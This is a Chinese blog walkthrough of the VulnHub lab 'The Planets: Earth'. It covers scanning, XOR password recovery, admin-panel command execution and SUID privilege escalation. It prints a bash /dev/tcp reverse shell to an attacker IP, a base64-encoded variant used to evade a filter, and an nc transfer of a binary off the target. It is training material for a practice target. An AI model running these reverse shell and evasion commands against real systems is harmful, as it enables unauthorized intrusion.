vulnhub The Planets: Earth

本文详细记录了一次渗透测试的过程,从使用Nmap扫描目标靶机,到修改hosts文件,目录扫描,XOR运算解密密码,利用RCE获取反弹shell,再到追踪库函数提权。最终通过分析靶机上的可执行文件,成功提权为root并获取flag。
摘要由CSDN通过智能技术生成

渗透思路:

nmap扫描----探索网站并修改hosts文件----扫描网站目录----探索网站----XOR运算得到terra的admin portal密码----RCE得到反弹shell(base64编码)----发现reset_root有suid----ltrace跟踪库函数发现reset_root执行条件----成功执行reset_root获取root密码并提权

环境信息:

靶机:192.168.101.59

攻击机:192.168.101.34

具体步骤:

1、nmap扫描

sudo nmap -sV -sC -p- 192.168.101.59

扫描到22(ssh)、80(http)、443(https)端口

2、探索并修改/etc/hosts

80端口没东西

443端口是fedora webserver的默认页面

尝试用gobuster爆破443端口的目录,报错,无法验证192.168.101.59的证书

注意到nmap扫描结果中443端口下有一行

Subject Alternative Name: DNS:earth.local, DNS:terratest.earth.local

因此修改/etc/hosts文件,增加两行

192.168.101.59 earth.local

192.168.101.59 terratest.earth.local

浏览器访问https://earth.local/,发现有一个输入message的框框,一个输入message key的框框,还有三行previous message

浏览器访问https://terratest.earth.local/,没啥用

3、扫描网站目录

扫描https://earth.local/https://terratest.earth.local/下的目录。

可以用dirb也可以用gobuster,如果用gobuster的话,需要加-k参数跳过对证书的校验,否则会报错:

​gobuster dir -u https://terratest.earth.local/ -w /usr/share/dirb/wordlists/big.txt -k

或者

​dirb https://terratest.earth.local/

扫描到https://terratest.earth.local/robots.txt

​gobuster dir -u https://earth.local/ -w /usr/share/dirb/wordlists/big.txt -k

或者

​dirb https://earth.local/

扫描到https://earth.local/admin/

4、继续探索网站

浏览器访问https://earth.local/admin/,发现需要登录

浏览器访问https://terratest.earth.local/robots.txt,内容如下,注意到最后一行有些不寻常

浏览器访问:https://terratest.earth.local/testingnotes.txt,有三行很有用的信息:

(1)使用XOR加密算法(这个说的应该是https://earth.local/

(2)testdata.txt用于测试加密。

(3)terra是admin portal(https://earth.local/admin/)的用户名。

得到以上信息之后,需要做三件事情:

(1)找到testdata.txt

(2)得到terra的密码

浏览器访问https://terratest.earth.local/testdata.txt,得到testdata.txt的内容

According to radiometric dating estimation and other evidence, Earth formed over 4.5 billion years ago. Within the first billion years of Earth's history, life appeared in the oceans and began to affect Earth's atmosphere and surface, leading to the proliferation of anaerobic and, later, aerobic organisms. Some geological evidence indicates that life may have arisen as early as 4.1 billion years ago.

5、XOR运算得到terra的密码

根据XOR运算的性质aXORbXORa=b,且在本靶机中,a为message,b为message key,aXORb为previous message;那么只要previous message和message做一次XOR运算,就可以得到message key

https://earth.local/页面已知3个previous message,从https://terratest.earth.local/testingnotes.txt已知testdata.txt至少做过一次message。因此要得到message key只要用testdata.txt的内容和3个previous message分别进行XOR操作即可。

尝试后发现https://earth.local/页面前两条previous message应该都与testdata.txt无关,XOR运算的结果不可读,第3条应该是testdata.txt内容与message key进行XOR运算的结果。

2402111b1a0705070a41000a431a000a0e0a0f04104601164d050f070c0f15540d1018000000000c0c06410f0901420e105c0d074d04181a01041c170d4f4c2c0c13000d430e0e1c0a0006410b420d074d55404645031b18040a03074d181104111b410f000a4c41335d1c1d040f4e070d04521201111f1d4d031d090f010e00471c07001647481a0b412b1217151a531b4304001e151b171a4441020e030741054418100c130b1745081c541c0b0949020211040d1b410f090142030153091b4d150153040714110b174c2c0c13000d441b410f13080d12145c0d0708410f1d014101011a050d0a084d540906090507090242150b141c1d08411e010a0d1b120d110d1d040e1a450c0e410f090407130b5601164d00001749411e151c061e454d0011170c0a080d470a1006055a010600124053360e1f1148040906010e130c00090d4e02130b05015a0b104d0800170c0213000d104c1d050000450f01070b47080318445c090308410f010c12171a48021f49080006091a48001d47514c50445601190108011d451817151a104c080a0e5a

cyberchefCyberChef)先对上面这条previous message进行From Hex操作,从16进制数转化为UTF-8,再进行XOR操作,将testdata.txt的内容作为key,编码选UTF8,即可得到一组循环的字符串,每组循环都是:earthclimatechangebad4humans

6、RCE得到反弹shell

https://earth.local/admin/login页面以用户名terra,密码earthclimatechangebad4humans成功登录,并来到登录后的https://earth.local/admin/页面,发现有一个输入框可以输入CLI命令

尝试输入bash反弹shell

bash -c 'exec bash -i &>/dev/tcp/192.168.101.34/8888 <&1'

报错,提示禁止远程连接

试试base64编码后的反弹shell行不行:

先在攻击机上输入

echo "bash -i &>/dev/tcp/192.168.101.34/8888 <&1" | base64

得到bash -i &>/dev/tcp/192.168.101.34/8888 <&1的base64编码

再组合成下面的payload,也就是在靶机上将YmFzaCAtaSAmPi9kZXYvdGNwLzE5Mi4xNjguMTAxLjM0Lzg4ODggPCYxCg==进行base64解码之后再执行

echo YmFzaCAtaSAmPi9kZXYvdGNwLzE5Mi4xNjguMTAxLjM0Lzg4ODggPCYxCg== | base64 -d | bash

攻击机上nc监听8888端口

nc -nlvp 8888

https://earth.local/admin/页面CLI输入框中输入上述payload,得到反弹shell

7、ltrace跟踪库函数,suid提权

查找有suid的文件

find / -user root -perm /4000 2>/dev/null

其中有个奇怪的/usr/bin/reset_root

看一下文件中可读的内容

strings /usr/bin/reset_root

可以看到这个可执行文件将root的密码修改为Earth

但是尝试su提权到root,输入密码Earth失败,尝试执行/usr/bin/reset_root也失败

从/usr/bin/reset_root执行失败的返回信息来看,是需要触发条件的,直接执行的话,触发条件都不满足

由于靶机上没有ltrace,所以需要把/usr/bin/reset_root文件传到攻击机上分析。

这里用nc进行传输:

攻击机上监听2222端口,并将接收到的内容重定向到文件reset_root

nc -nlvp 2222 > reset_root

靶机上将/usr/bin/reset_root文件的内容通过nc重定向到攻击机的2222端口

nc 192.168.101.34 2222 < /usr/bin/reset_root

完成文件传输后,攻击机上给reset_root文件赋予可执行权限

chmod +x reset_root

然后用ltrace跟踪库函数调用

ltrace ./reset_root

可以发现触发条件是/dev/shm/kHgTFI5G、/dev/shm/Zw7bV9U5、/tmp/kcM0Wewe存在(后来尝试发现是需要三个文件都存在)

在靶机上用touch命令创建这三个文件,创建完成后再执行/usr/bin/reset_root,执行成功,显示root的密码被修改成了Earth

touch /tmp/kcM0Wewe
touch /dev/shm/kHgTFI5G
touch /dev/shm/Zw7bV9U5
/usr/bin/reset_root

用su命令提权到root,密码为Earth,并在/root目录下获得flag

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值